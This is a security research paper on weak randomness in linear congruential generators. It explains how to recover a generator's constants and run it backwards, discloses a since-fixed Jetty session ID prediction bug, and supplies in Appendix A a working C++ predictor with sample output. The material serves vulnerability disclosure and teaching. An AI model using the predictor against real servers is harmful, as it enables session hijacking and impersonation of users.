Weak Randomness

Part I – Linear Congruential Random Number Generators

Chris Anley [chris@ngssoftware.com]

An NGSSoftware Insight Security Research (NISR) Publication

http://www.ngssoftware.com

[Abstract]

The objective of this series of papers is to describe the mathematical properties of some of the more common pseudo-random sequence generators and to show how they can be attacked by illustrating the principles with real-world bugs. The series demonstrates how weak randomness can be identified, used to compromise real-world systems, and defended against. An additional goal of the series is to provide simple, straightforward tools that can be used in a development or consultancy context.

This, the first paper in the series, describes the extremely common linear congruential generator and describes a bug in Jetty, a popular Java-based web server, which illustrates some of the dangers described in the paper.

[Introduction]

This paper is the first in a series dealing with the general subject of random number generation and its impact on security.

Random numbers lie at the heart of information security. Every time we connect to a web server, generate a PGP key, send an encrypted email message - in fact, every time we establish a TCP connection - we are relying on the security of a random number generator. Often, insecure random number generators are applied inappropriately. This can be hard to spot in time-pressured practical situations such as code reviews or black-box security assessments.

Although random number generators have been extensively studied in the information theory and cryptography communities, in general there is little practical assistance available for the security consultant or developer who is tasked with determining the strength of some random number generation scheme. Hopefully this series of papers will illustrate by example some simple approaches to identifying weak randomness, and provide real-world examples that can be used to make a business case for ensuring that random number generation is performed securely.

[Terminology and Philosophical Background]

We are going to be throwing around terms like “randomness”, “predictability” and “entropy” a lot in this paper, so it's probably worth describing what we mean by these terms up front.

First, the phrase “random number generator”. Since (in this series of papers) we're normally talking about functions that always return the same output for a given input, these “random” number generators we're discussing are nothing of the sort. Still, the generally accepted term for this class of functions is “random number generators”, so we will continue the abuse of the phrase in this series.

When people describe an event as random, they generally mean that they couldn't predict that the event would occur. The words “random” and “unpredictable” are almost interchangeable in common usage.

In mathematical terms, when a distribution is described as “random”, it generally means “evenly distributed”. In a set of events, this would mean that each event in the set is as likely to occur as any other, but this doesn't necessarily mean that the events are impossible to predict. If you had a sequence generator of the form

$x(n+1) = x(n) + 1$

...the distribution of the output (1,2,3,4,5...) could be said to be random, but would certainly be predictable.

“Predictable” is also a tricky word to use in the context of random number generators. Most “random number generators” are more properly described as “pseudo-random sequence generators”, and could be said to be predictable in the sense that if you know the algorithm used to generate the sequence, and the internal state of the generator, you know everything you need to know in order to produce the same sequence. In the context of this paper, however, we'll be taking a more practical approach, and defining a predictable generator as a generator whose output we can reliably guess in a real-world scenario, given some of its previous output.

“Entropy” is an interesting concept that is closely related to random number generators since it is generally held to be a measure of “randomness”. In information theory, “entropy” is a direct measurement of the amount of information in a signal – in other words, the minimum number of bits that can possibly be used to encode it. As an example, the amount of entropy in English text is quite low, because there are a limited number of English words. This is why text documents compress so well. Entropy provides a lower bound on the compressed size of any data, since the compression can never reduce the amount of information contained in the data. Measurement of entropy by compression can be a good test of the strength of a random number generator – if there are repeating patterns, most compression algorithms will recognise them and use them to compress the data – although it's possible to create a random number generator whose output appears incompressible but which is easily predictable.

When discussing random number generators, people often refer to a “pool of entropy”, which is notionally a set of “truly” random data obtained by external, unpredictable sources such as keystroke timings, mouse movements, network packet delivery intervals and so on. There are several interesting attacks on generators that rely on exhausting their supply of entropy, or attempting to influence their sources of entropy, say for example by flooding the host with network packets, or vigorously exercising the disk or processor. In this paper we're more concerned with the less secure end of the generator spectrum, and how we can detect and compromise them, but entropy is still a useful idea.

Finally, some people have a philosophical objection to the idea of randomness, holding that the universe is entirely deterministic – i.e. that if we knew the precise state of everything, we would be able to determine the future course of events exactly, from now until the end of time. Problems with this include the Heisenberg uncertainty principle and issues of measurement around turbulent fluid flow associated with Chaos Theory. Since this is a practical paper, we'll leave such lofty ideas behind and

concentrate on how systems can be attacked using numbers – but these are certainly interesting ideas.

[Linear Congruential Random Number Generators]

The majority of functions described as “random number generators” are implemented in the same fundamental way – as “linear congruential random number generators”. These generators form the basis of the `rand()` function and its equivalent in most programming languages including C/C++, Java, PHP, Visual Basic, VBScript, various dialects of SQL, and so on. Donald Knuth, in his excellent “Art of Computer Programming”, describes linear congruential generators in great detail, which may have contributed to the very large number of generators of this kind in current use.

The fact that these functions tend to have names like “rand” and “random” has also probably contributed to the misunderstanding described in the background section above – random doesn't mean unpredictable.

So how do they work? Well, a simple form of linear congruential random number generator (LCRNG or LCG) can be generally described by a recurrence relation of the form

$$x_{n+1} = ax_n + b$$

In other words, to get the next term in the sequence, we multiply the previous term in the sequence by a constant (a) and add a constant (b). This is normally performed modulo some number, but we'll put that aside for a moment.

It turns out that the internal constants can be deduced from terms in the sequence. This obviously has serious security implications since if an attacker can guess the state of the generator and the internal constants, they will be able to perfectly “predict” the output.

Here’s a way of working out what the internal constants are, using substitution:

1. $x_{n+1} = ax_n + b$
2. $x_{n+2} = ax_{n+1} + b$
3. $b = x_{n+1} - ax_n$

then by substitution...

4. $x_{n+2} = ax_{n+1} + x_{n+1} - ax_n$
5. $x_{n+2} - x_{n+1} = ax_{n+1} - ax_n$
6. $\frac{x_{n+2} - x_{n+1}}{a} = x_{n+1} - x_n$
7. $a = \frac{x_{n+2} - x_{n+1}}{x_{n+1} - x_n}$

Solving for *b*:

8. $x_{n+1} = ax_n + b$
9. $x_{n+2} = ax_{n+1} + b$
10. $x_{n+1} - b = ax_n$
11. $a = \frac{x_{n+1} - b}{x_n}$

So then by substitution...

12. $x_{n+2} = \left(\frac{x_{n+1} - b}{x_n} x_{n+1} \right) + b$
13. $x_{n+2} = \frac{{x_{n+1}}^2 - bx_{n+1}}{x_n} + b$
14. $x_n x_{n+2} = {x_{n+1}}^2 - bx_{n+1} + bx_n$
15. $x_n x_{n+2} - {x_{n+1}}^2 = bx_n - bx_{n+1}$
16. $\frac{x_n x_{n+2} - {x_{n+1}}^2}{b} = x_n - x_{n+1}$
17. $b = \frac{x_n x_{n+2} - {x_{n+1}}^2}{x_n - x_{n+1}}$

So now we have the constants *a* and *b* expressed as a function of terms in the sequence. However, as we mentioned earlier, since digital computers generally represent integers in a fixed-width field, practical LCRNGs utilise modulo arithmetic. This complicates matters, because the above equations cannot be directly applied.

The solution to this is to express the solutions for *a* and *b*, above, in terms of modular linear equations. A modular linear equation has the form

18. ax = b (mod c)

where c > 1.

We can find *x*, given *a*, *b* and *c*, using a modified version of Euclid's algorithm for finding the greatest common divisor (gcd) of two nonnegative integers. Specifically, if our version of Euclid's algorithm is of the form

19. d = Euclid(a, c)

We wish to discover all pairs of *x* and *y* such that

20. d = ax + cy

This enables us to solve modular linear equations of the form expressed in equation 18.

So, given a practical implementation of our modular linear equation solver, we need to express equations 7 and 17 (the solutions for the internal coefficients of the linear congruential random number generator) in terms of modular linear equations.

Recalling equation 18,

ax = b mod c

We know *a*, *b* and *c*, and we wish to discover *x*.

Recalling equation 7,

$$a = \frac{x_{n+2} - x_{n+1}}{x_{n+1} - x_n}$$

We have x_n, x_{n+1} and x_{n+2} and we wish to discover *a*.

Thus

21. $a(x_{n+1} - x_n) = x_{n+2} - x_{n+1}$

and, since

$$b = \frac{x_n x_{n+2} - x_{n+1}^2}{x_n - x_{n+1}}$$

We can express equation 17 like this:

22. $b(x_n x_{n+2} - x_{n+1}^2) = x_n - x_{n+1}$

Equations 21 and 22 are now in a form acceptable to our linear modular equation solver. There are other ways of doing this, described in references [1], [2], [3] and [4].

[Other Ways of Determining the State of an LCG]

Some LCGs output only a portion of their internal state with each iteration. For instance, the java.util.Random generator does this:

```
synchronized protected int next(int bits) {
           seed = (seed * 0x5DEECE66DL + 0xBL) & ((1L << 48) - 1);
           return (int)(seed >>> (48 - bits));
     }
```

Microsoft's C runtime library “rand” does this:

```
int __cdecl rand (
```

```
        void
        )
{
        _ptiddata ptd = _getptd();

        return( ((ptd->_holdrand = ptd->_holdrand * 214013L
            + 2531011L) >> 16) & 0x7fff );
}
```

The ANSI C standard does this:

```
int rand(void)
{
    next = next * 1103515245 + 12345;
    return ((unsigned int) (next / 65536UL) % 32767UL);
}
```

...all of which leak only a portion of their internal state per iteration. The papers described in the “References” section describe generic techniques for predicting the output of generators of this form. To cut through all the maths – if you know exactly what generator you’re dealing with (and there are only a few hundred that you’re likely to run into) you can make the process of predicting the output much faster.

[Huh?]

If you skipped the maths, the general idea is that, given some terms of the output of an LCG, we can determine its internal state. This means that we can (at the very least) predict what numbers it's going to spit out next. In security terms, this has a lot of serious implications, because of the ways that people use random numbers. Here are a few (entirely hypothetical) examples of how an inappropriately used LCG could lead to a security problem:

As Initial Sequence Numbers (ISNs) in TCP connections

If a device uses an LCG to create ISNs for TCP connections, it is much easier to hijack TCP sessions. Michal Zalewski has done some interesting work in this area: http://lcamtuf.coredump.cx/oldtcp/tcpseq.html

As symmetric keys to encryption functions

If you send me a message using key A (which I can see was generated by an LCG), and then send someone else a message using key B, I can determine key B.

To generate prime numbers for asymmetric encryption functions

If you post the public exponent of your RSA key to a key server, and I can see that it was generated with an LCG, I can determine the primes you picked for the modulus, effectively giving me your private key.

To generate nonces for authentication protocols

The most immediately obvious application of this is web application session identifiers. Most web applications that require authentication use some hard-to-guess number to authenticate a user once they have logged into the web application. If I can

guess the next session ID that will be generated, I can hijack that session and pretend to be whichever user next logs in.

Although these examples sound ridiculous, it can be easy to inadvertently use an LCG in place of a more secure generator, especially if you're not directly calling the generator yourself. If, for example, you call a function in a big number library to generate a random prime number, it may not be clear exactly what the source of the "randomness" was.

[Running an LCG backwards]

So, how do we use this practically? We have a way of working out the internal structure of a particular class of random number generator from three consecutive terms in its output. Depending on how much of the state of the LCG we have, and how much we know about it, we might even need just one number. Anyway, if we have (or can guess) the state of the generator for any "random" sequence generated in this way, we can work the generator forwards as far as we like.

So let's put ourselves in the mind of the attacker. If someone is using a linear congruential generator to generate a web application session ID, we can connect to the web application (possibly three times) and get our three numbers. We then know what the next session IDs will be – but we have to wait for someone to log on before we can hijack their session. It'd be nicer if we could work out what the previous session IDs were, so that we can hijack sessions instantly.

Remember that a linear congruential generator can be simply described as "multiply by a constant, then add a constant, modulo some number". In order to reverse the sequence, then, we'll need to "subtract a constant, then divide by a constant, modulo some number". This, as it turns out, is relatively straightforward. We just need to determine the modular inverse of *a*.

The inverse of a number *a* is *1/a*. So, if we want to divide something by a, we can just multiply by the inverse of a. In a similar way, the modular inverse of a number a (mod m) is the number that, when multiplied by a (mod m) gives us 1.

So if

a * b = c (mod m)

then

c * modinverse(a,m) = b (mod m)

To work the generator backward, all we do is subtract the additive constant, then multiply by the modular inverse of the multiplicative constant.

[Insecure Session ID Generation in Jetty]

Jetty, the popular java web server, is vulnerable to a session ID prediction attack, discovered by the author of this paper and fixed on the 23rd November 2006:

http://permalink.gmane.org/gmane.comp.java.jetty.support/9762

The bug is fixed in Jetty versions 4.2.27, 5.1.12, 6.0.2 and 6.1.0pre3.

Jetty uses the standard `java.util.Random` class to generate session IDs. This is a linear congruential generator, of the type discussed above. The internal state of this generator can be easily discovered, leading to an attacker being able to hijack existing and future sessions.

`java.util.Random` implements a linear congruential generator, of the following form:

```
synchronized protected int next(int bits) {
           seed = (seed * 0x5DEECE66DL + 0xBL) & ((1L << 48) - 1);
           return (int)(seed >>> (48 - bits));
     }
```

Jetty generates a 64-bit session ID by generating two 32-bit numbers in this way, so we end up with an encoded 64-bit integer. By decoding the integer and splitting it into its two component 32-bit integers, we can brute-force the generator's internal state. In order to do this, we need only brute force 16 bits, since we already have 32 of the 48 bits we need. Once the state is discovered, the generator can be run both forwards and backwards in the manner described above, so an attacker can determine previously generated session IDs as well as session IDs that have not yet been generated. This allows the attacker to hijack any existing session, and perform any actions that the original user of the session could perform. Obviously the severity of this issue varies from application to application but we believe it warrants at least a “high” risk rating, if not “critical” in some scenarios.

The code in Appendix A implements a session predictor for this bug. It takes a session ID as input and outputs candidates for the next 5 and previous 5 session IDs. It is necessary to output 7 candidate session IDs for each iteration because Jetty encodes the session ID in a number base from 30 to 36 depending on the millisecond in which the session ID was generated. The underlying 64-bit integer is the same, just represented in bases 30-36. Here is some example output:

```
H:\jetty_rand\Debug>jetty_rand.exe g4sse9e7fs5ee
Radix: 30
Found seed: 5346772124980067

Session -5:
27s4jsk03074k
1gbb661e0l6mp
11ctqbu24shqo
nqqa46cv6ovh
h4xlr7d8n98c
cg9x29g6vfna
9568uhp0c7yw

Session -4:
586o97hbtkkis
3h9o0c9eglm5q
2dpgen12bekgo
1mf3ar81r4e7d
```

```
15vq2mdv83nmo
t13aedmjm4ts
lamwq2jurlzs

Session -3:
c2kqln033ior
8d98tft18mgj
5u715san1m0b
47rifnwhompl
31pb1t2496ef
27mbqm91n0gc
1mksf8xjn6kr

Session -2:
h5n7ft13ak1nr
biif83e4tlq37
7tj3f6tclak5h
5fpk27ulvu2nu
3s5vpubx7ekc9
2om684eem9iy2
1xf0lar1nqpwx

Session -1:
66isdajhm658g
463l7trqe65oo
2rodl8h2bjkb4
1wdl0j3wqr6tj
1d3hc9k0gm9ja
y8hj85q65rxq
p49erbpgioo4

Session 0:
g4sse9e7fs5ee
as3iaiqcjo82g
7eeb56egthkrm
54w87w5wtpwfk
3kdimj6vemoce
2iybbcyacjqk9
1t9qijf82uk52
```

The issue affects a great many products that are based on Jetty, such as Apache Geronimo:
http://geronimo.apache.org/

The latest version (2.0) is not vulnerable. Versions 1.1 and prior are vulnerable however.

A further 98 projects based on Jetty are listed on the Jetty website at:
http://www.mortbay.com/powered.html

No doubt many, many more projects use `java.util.Random` in a similar way.

[Conclusions]

We've shown that linear congruential random number generators are extremely common, and discussed some ways in which they can be attacked. We discussed a specific, recent example of this kind of bug, and provided sample code for a "predictor" for this bug.

[References]

1. James Reeds, *Cracking a Random Number Generator*, 1977
2. Donald Knuth, *Deciphering a Linear Congruential Encryption*, 1985
3. Joan Boyar, *Inferring Sequences Produced by a Linear Congruential Generator Missing Low-Order Bits*, 1989
4. Joan Boyar, *Inferring Sequences Produced by Pseudo-Random Number Generators*, 1989

[Appendix A]

A Jetty Session ID predictor (some lines of code are wrapped)

```
// jetty_rand.cpp

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

__int64 seed;

int jr_seed( __int64 s )
{
//     seed = (s ^ 0x5DEECE66DL) & ((1L << 48) - 1);
       seed = s & ((1L << 48) - 1);
       return 1;
}

int jr_next( int bits )
{
       bits = 48-bits;

       seed = ( seed * 0x5DEECE66DL + 0xBL ) & (((__int64)1L << 48) - 1);
       return (int)((__int64)seed >> bits );
}

int jr_prev()
{
       // subtract from seed, divide by 0x5DEECE66DL (modinverse multiply to
divide)
       seed -= 0xbl;
       seed *= 246154705703781L;
       seed &= (((__int64)1L << 48)-1);

       return (int)((__int64)seed >> 16 );
}

__int64 jr_nextLong()
{
       __int64 i = (__int64)jr_next(32) << 32;
       int j = jr_next(32);

       i += j;

       return i;
}

int print_i64( __int64 i, int radix )
{
       char *charset = "0123456789abcdefghijklmnopqrstuvwxyz";
       char buff[ 64 ];
       int index = 0;
```

```
	memset( buff, 0, sizeof( buff ) );

	while( i > 0 )
	{
		buff[index] = charset[ i % radix ];
		i -= i % radix;
		i /= radix;
		index++;
	}

	_strrev( buff );
	printf("%s", buff );
	return 1;
}

__int64 get_i64( char *psz, int radix )
{
	__int64 i = 0;
	char *charset = "0123456789abcdefghijklmnopqrstuvwxyz";
	int offset;

	while( *psz )
	{
		i *= radix;
		offset = strchr( charset, *psz ) - charset;
		if(( offset < 0 ) || ( offset > 35 ))
			throw("invalid offset!");

		i += offset;
		psz++;
	}

	return i;
}

__int64 get_state( char *session_id, int *pradix )
{
	__int64 i;
	int low, hi, seed, radix, split;

	for( radix = 30; radix <= 36; radix++ )
	{
		i = get_i64( session_id, radix );

		for( int sign = 0; sign < 2; sign++ )
		{
			switch( sign )
			{
			case 0: break;
			case 1: i = -i; break;
			}

			for( split = 32; split < 33; split++ )
			{
				low = i & (((__int64)1 << split)-1);
				hi = i >> split & (((__int64)1 << split)-1);

				// low might have been negative. If it was, our
output is hi - low

				for( int sign2 = 0; sign2 < 2; sign2++ )
				{
					__int64 x;

					switch( sign2 )
					{
					case 0: break; // both +ve
```

```
                                        case 1: // hi +ve, low -ve
                                               hi += 1; // we must have borrowed 1
                                               x = (__int64)hi << 32;
                                               low = (int)(i - x);
                                               break;
                                        }


                                        for( seed = 0; seed <= 0xffff; seed++ )
                                        {
                                               jr_seed( ((__int64)hi << 16) +
seed);
                                               if( jr_next(32) == low )
                                               {
                                                      printf("Radix: %d\n", radix );
                                                      printf("Found seed: %I64d\n",
(hi << 16) + seed);


                                                      for( int x = 0; x < 12; x++ )
                                                             jr_prev();

                                                      for( int x = 0; x < 11; x++ )
                                                      {
                                                             printf("\nSession
%d:\n", x-5 );


                                                             __int64 next =
jr_nextLong();
                                                             if( next < 0 )
                                                                    next = 0 - next;


                                                             for( int x = 30; x <=
36; x++ )
                                                             {
                                                                    print_i64( next,
x );
                                                                    printf("\n");
                                                             }
                                                      }
                                               }
                                        }
                                 }
                          }
                   }

                   return 1;
}

int syntax()
{
       printf("jetty_rand  [chris@ngssoftware.com]\n\
Weak randomness session ID prediction for jetty web server\n\
Tested on v6.0.1 and prior\n\
Syntax:\n\
jetty_rand <session id>\n\
Output is possible next and previous session ids\n" );

       return 1;
}

int main( int argc, char *argv[] )
{
       // nextLong returns next(32),next(32)
       // next(32) is seed >> 16, or, upper 32 bits of lower 48 bits of seed
       // There are a couple of niggles with radix and sign issues, but
       // basically we get 32 bits of the 48 bits of state and brute force
the remaining 16.
```

```
        int radix;
        __int64 state;
        int i;

        if( argc != 2 )
               return syntax();

        state = get_state( argv[1], &radix );

        return 0;
}
```